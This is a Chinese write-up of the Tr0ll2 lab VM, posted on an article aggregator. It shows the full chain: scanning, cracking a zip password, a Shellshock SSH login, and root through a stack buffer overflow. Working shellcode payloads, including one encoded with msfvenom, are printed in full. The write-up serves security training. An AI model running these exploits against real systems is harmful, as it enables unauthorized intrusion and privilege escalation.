Tr0ll2靶機詳解

一、主機發現

arp-scan?-l

靶機ip:192.168.55.164

二、端口掃描、漏洞掃描、目錄枚舉、指紋識別

2.1端口掃描

nmap?--min-rate?10000?-p-?192.168.55.164

發現21端口的ftp服務開啟

以UDP協議進行掃描

使用參數-sU進行UDP掃描

nmap?-sU?--min-rate?10000?-p-?192.168.55.164

說明沒有UDP端口開放

2.2漏洞掃描

nmap?--script=vuln?-p21,22,80?192.168.55.164

說明此靶機沒有明顯漏洞

2.3目錄枚舉

dirb?http://192.168.55.164

2.4指紋識別

nmap?192.168.55.164?-sV?-sC?-O?--version-all

指紋識別時看到21端口的ftp服務不能進行匿名登陸

三、進入靶機網頁進行信息收集,拿到低權限shell

訪問靶機網頁,發現只有一張圖片

3.1拿到密碼文件

剛剛目錄枚舉出了一些信息

嘗試在網頁中打開

進去之后發現還是圖片,這里感覺網站已經沒有信息了,之后試了試中間件的漏洞,也沒有合適的

隨后將看到的圖片都下載下來了,然后發現/noob這個目錄下的圖片名稱有提示,讓用cat查看該圖片

去該目錄下尋找答案

發現該文件是base64加密過的,嘗試進行解密

base64?-d?answer.txt?>?1.txt

3.2拿到賬號

這里只有密碼,嘗試去ftp服務找其它信息

根據提示,感覺用戶名就是Tr0ll,密碼也嘗試一下Tr0ll

成功進入ftp服務,將其中的文件下載下來

下載后需要解壓,發現解壓需要密碼

密碼嘗試使用剛剛解碼后的文件,這里使用Fcrackzip工具

fcrackzip?-u?-D?-p?1.txt?lmao.zip?
-u?用zip去嘗試
-D?使用字典
-p?使用字符串作為初始密碼/文件
fcrackzip是一款專門破解zip類型壓縮文件密碼的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,適用于linux、mac?osx?系統。

解壓后是一個私鑰

3.3拿到低權限shell

使用noob用戶進行ssh登錄

ssh?-i?noob?noob@192.168.55.164

提示了sign_and_send_pubkey: no mutual signature supported,表示SSH連接時,客戶端和服務器之間無法就公鑰認證使用的簽名算法達成一致。此時我們要加上一個 -o 參數

ssh?-i?noob?noob@192.168.55.164?-o?PubkeyAcceptedKeyTypes=+ssh-rsa?

發現還是不行,不知道怎么辦了,查資料發現是還有一個漏洞可以利用

發現shellshock攻擊

ssh?-i?noob?noob@192.168.55.164?-o?PubkeyAcceptedKeyTypes=+ssh-rsa?'()?{?:;};?/bin/bash'

成功拿下低權限shell

四、緩沖區溢出提權

升級shell

python?-c?'import?pty;?pty.spawn("/bin/bash")'

4.1靶機信息收集

uname?-a
lsb_release?-a

嘗試sudo提權,發現需要用戶的密碼

尋找SUID的命令

find?/?-perm??-4000?-print?2>/dev/null

查找定時任務

crontab?-l

沒發現有用的信息

只能在目錄中尋找其它信息

在根目錄下找到這個文件,有點“此地無銀三百兩”的意思

進入之后找到了三個門

door1下的r00t會在執行后短時間內不可以執行命令

door2 下的r00t會退出ssh

查看這三個門下的文件大小

ls?-lahR

發現只有7.2k和8.3k兩種

其中8.3k的r00t文件提示需要提供參數

4.2緩沖區溢出漏洞(第一種方法)

4.2.1緩沖區溢出準備工作

首先要做的就是要把該程序拿到kali本機中

將8.3k的文件先進行base64編碼

base64?r00t

然后將編碼后的內容復制到kali中

然后在kali中將編碼后的內容進行解碼

cat?2?|?base64?-d??>r00t

使用gdb進行調試

disas?main

發現存在緩沖區溢出函數

隨后進行緩沖區溢出的調試

4.2.2判斷溢出位置

使用msf的一個腳本

cd?/usr/share/metasploit-framework/tools/exploit
./pattern_create.rb?-l?1000
注:
此處的1000為一個較大的值,可以為500,600等任意一個較大的值

然后在gbd調試時將剛剛生成的值run即可

找到了溢出位置:0x6a413969

4.2.3尋找偏移量

還是在/usr/share/metasploit-framework/tools/exploit這個目錄下使用msf的腳本

./pattern_offset.rb?-q?6a413969?-l?1000

得知偏移量是268

4.2.4尋找ESP棧溢出地址

r?$(python?-c?'print?("A"*268?+?"B"*4)')???#?在GDB調試工具中?r表示啟動調試當前程序
info?r?#?分析程序調試過程中的狀態,在檢查程序崩潰、調試函數調用及訪問變量時,經常使用,前面已經有一個錯誤Program?received?signal?SIGSEGV,?Segmentation?fault.,所以可以直接使用info?r查看寄存器狀態

eip也被覆蓋

現在要找esp的位置

r?$(python?-c?'print?("A"*268?+?"B"*4+"C"*20)')?

經嘗試,C字符寫入8-20的時候,esp地址均為0xbffffb80

寫入24之后就改變了

獲得esp地址:0xbffffb80

注:

控制EIP跳轉至shellcode,需要將shellcode設置到ESP地址。但在此之前,我們需要找到一個可靠的 ESP 地址。需要注意的是,OS 加載器將環境變量放在變化的堆棧區域之前,因此它會直接影響 ESP 地址。此外,如何調用程序也很重要。

通過取消設置環境變量參數LINES 和 COLUMNS來取消環境變量的影響,獲取真實的ESP地址。

env?-?gdb?r00t
show?env
unset?env?LINES
unset?env?COLUMNS

去Shellcodes database for study cases網站上尋找exp

成功找到

構造payload:

./r00t?$(python?-c?'print?"A"*?268?+?"\x80\xfb\xff\xbf"?+?"\x90"?*20?+?"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

成功提權!

4.3緩沖區溢出(第二種方法)

4.3.1尋找壞字符

此方法跟方法一只是反彈shell的方式不同,反彈shell之前的內容均相同

確定ESP的地址之后尋找壞字符

r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')

查找壞字符:

x/256x?$esp???
x/256b?$esp

兩條命令互相使用,檢查壞字符

0x00是一個壞字符

可知0x09是一個壞字符

去掉后繼續進行測試

r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')

發現依然錯誤,將0x0a去掉繼續嘗試

r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')

對照發現是0x20是壞字符,去掉繼續嘗試

r?$(python?-c?'print?"A"*268?+?"B"*4?+?"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"?')

發現后續的均連續,說明壞字符為:\x00\x0a\x09\x20

4.3.2msf編寫payload

msfvenom?-a?x86?-p?linux/x86/exec?CMD=/bin/sh?-b?'\x00\x09\x0a\x20'?-e?x86/shikata_ga_nai?-fc

編寫payload

./r00t?$(python?-c?'print?("A"*268?+?"\x80\xfb\xff\xbf"?+?"\x90"*20?+?"\xba\xa0\x03\xb5\x23\xda\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x55\x69\xbe\x7b\x0c\x3c\xa6\x13\x03\xa2\xaf\x03\x33\x0b\xc3\xa3\xc3\x3b\x0c\x56\xaa\xd5\xdb\x75\x7e\xc2\xd4\x79\x7e\x12\xca\x1b\x17\x7c\x3b\xaf\x8f\x80\x14\x1c\xc6\x60\x57\x22")')

成功提權!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/72888.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/72888.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/72888.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于開源模型的微調訓練及瘦身打造隨身掃描儀方案__用AI把手機變成文字識別小能手

基于開源模型的微調訓練及瘦身打造隨身掃描儀方案__用AI把手機變成文字識別小能手 一、準備工作:組裝你的"數碼工具箱" 1. 安裝基礎工具(Python環境) 操作步驟: 訪問Python官網下載安裝包安裝時務必勾選Add Python to…

GitHub 超火的開源終端工具——Warp

Warp 作為近年來 GitHub 上備受矚目的開源終端工具,以其智能化、高性能和協作能力重新定義了命令行操作體驗。以下從多個維度深入解析其核心特性、技術架構、用戶評價及生態影響力: 一、背景與核心團隊 Warp 由前 GitHub CTO Jason Warner 和 Google 前…

使用C#創建安裝Windows服務程序

在實際工作中,如果我們需要開發一個運行在后臺,無需用戶交互,不需要界面的應用程序,我們可以通過Windows服務來實現。 本文主要介紹如何基于C#創建一個Windows服務,來實現西門子PLC的定時讀取保存。 一、Windows服務…

docker、docker-compose常用命令

初學者使用的docker、docker-compose常用命令,日常練習,環境簡單搭建。 一、docker 1.1、安裝docker 1.1.1、yum安裝 #安裝docker的數據存儲驅動包 yum install -y yum-utils device-mapper-persistent-data lvm2 #設置新的安裝源、下載配置文件到…

阿里的MNN源碼如何編譯成so文件,供Android調用

在Ubtuntu下面的編譯,先整理編譯環境 1、安裝環境依賴 # 安裝必要工具 sudo apt update sudo apt install -y cmake ninja-build git wget # 安裝Android NDK(建議使用r21版本或更高) wget https://dl.google.com/android/repository/a…

吳恩達機器學習筆記復盤(六)梯度下降算法

簡介 梯度下降(Gradient Descent)是一種常用的優化算法,廣泛應用于機器學習、深度學習等領域,在這里是用于求J(w,b)局部最小值。 我自己覺得這樣說有點過于抽象。換個直觀點的說法就是,一個人…

使用JAVA-進行維吉尼亞密碼的解密與加密

維吉尼亞密碼 來源于百度百科 維吉尼亞密碼_百度百科 具體代碼 import java.util.*;public class WJMYmm {//常量 26public static final int N 26;//密碼public static void main(String[] args) {//字母String ZM"abcdefghijklmnopqrstuvwxyz";char[] zm ZM.…

Java DelayQueue 延遲隊列

Java DelayQueue 延遲隊列 1. DelayQueue 概述 DelayQueue 是 Java 并發包(java.util.concurrent)中的一個 無界 阻塞隊列,用于存儲實現了 Delayed 接口的元素。隊列中的元素只有在達到指定的延遲時間后才能被獲取。 2. DelayQueue 的底層…

LeetCode 解題思路 22(Hot 100)

解題思路: 遞歸思路: 傳入當前節點的最小值和最大值,遞歸判斷左右子樹。結束條件: 當前節點為空或不滿足二叉搜索樹。 Java代碼: class Solution {public boolean isValidBST(TreeNode root) {return isValidBST(ro…

樂享數科:政策助推假日經濟,2月普惠金融-景氣指數穩中有升

數據顯示,2025年2月普惠金融-景氣指數達48.99點,較1月上升0.03點。 企業運行持續向好,企業信心預期和經營活力回升。“假日經濟”與“政策效應”相互疊加,市場供求格局有所改善,景氣水平穩步恢復。 普惠金融-景氣指數…

leetcode日記(108)驗證回文串

看上去很簡單,其實很麻煩。 一開始寫的遞歸,但是內存超限……搜了下發現原因是每次遞歸調用都會創建一個新的字符串副本,這在處理長字符串時會占用大量內存。 class Solution { public:bool isPalindrome(string s) {if(s.size()0||s.size(…

用css繪制收銀鍵盤

最近需求說需要自己弄個收銀鍵盤&#xff0c;于是乎直接上手搓 主要基于Vue3寫的&#xff0c;主要是CSS <template><view class"container"><view class"info"><image class"img" src"" mode"">&l…

智能車間管理系統(源碼+文檔+講解+演示)

引言 在現代制造業中&#xff0c;智能車間管理系統正成為推動工業4.0和智能制造的關鍵力量。它通過整合先進的信息技術和自動化技術&#xff0c;優化生產流程&#xff0c;提高生產效率&#xff0c;降低成本&#xff0c;并確保產品質量。 系統概述 智能車間管理系統采用前后端…

Model Context Protocol - Prompts

1. 概述 Model Context Protocol (MCP) 提供了一種標準化的方式&#xff0c;使服務器能夠向客戶端暴露提示模板&#xff08;prompts&#xff09;。Prompts 是服務器提供的結構化消息和指令&#xff0c;用于與語言模型進行交互。客戶端可以發現可用的提示、獲取其內容&#xff…

辦公自動化:使用 Python 生成 Word 文件:自動生成數據庫文檔 Word 文件

簡簡單單 Online zuozuo :本心、輸入輸出、結果 文章目錄 辦公自動化:使用 Python 生成 Word 文件:自動生成數據庫文檔 Word 文件前言一、環境準備二、編寫代碼三、編寫 Word 模版文件接收數據四、運行代碼,生成文件,大功告成五、說明辦公自動化:使用 Python 生成 Word 文…

嵌入式GPRS協議面試題及參考答案

目錄 GPRS 的全稱是什么?簡述其核心設計目標。 GPRS 中 DNS 服務器的核心作用是什么? BTS 在 EDGE 升級時需要哪些硬件調整? GPRS 的時隙分配策略如何影響多用戶并發? 解釋 PDCH(分組數據信道)的動態分配機制。 如何判斷天饋接反或鴛鴦線問題? GPRS 的 RLC/MAC 層…

Docker 內部通信(網絡)

1. 創建自定義橋接網絡 首先&#xff0c;創建一個自定義的Docker網絡。這可以通過docker network create命令完成。例如&#xff0c;我們可以創建一個名為my_custom_network的網絡&#xff1a; docker network create --driver bridge my_custom_network2. 啟動容器并連接到自…

單片機開發資源分析的實戰——以STM32F103C8T6為例子的單片機資源分析

目錄 第一點&#xff1a;為什么叫STM32F103C8T6 從資源手冊拿到我們的對STM32F103C8T6的資源描述 第二件事情&#xff0c;關心我們的GPIO引腳輸出 第三件事情&#xff1a;去找對應外設的說明部分 前言 本文章隸屬于項目&#xff1a; Charliechen114514/BetterATK: This is…

貪心算法(9)(java)最優除法

題目&#xff1a; 給定一正整數數組 nums,nums中的相鄰整數將進行浮點除法。例如&#xff0c;[2,3.4]->2/3/4. 例如&#xff0c;nums [2,3,4]&#xff0c;我們將求表達式的值“2/3/4"。 但是&#xff0c;你可以在任意位置添加任意數目的括號&#xff0c;來改變算…

騰訊云MySQL數據庫架構分析與使用場景

TDSQL-C for MySQL TDSQL-C MySQL 版&#xff08;TDSQL-C for MySQL&#xff09;是騰訊云自研的新一代云原生關系型數據庫。融合了傳統數據庫、云計算與新硬件技術的優勢&#xff0c;為用戶提供具備高彈性、高性能、海量存儲、安全可靠的數據庫服務。TDSQL-C MySQL 版100%兼容…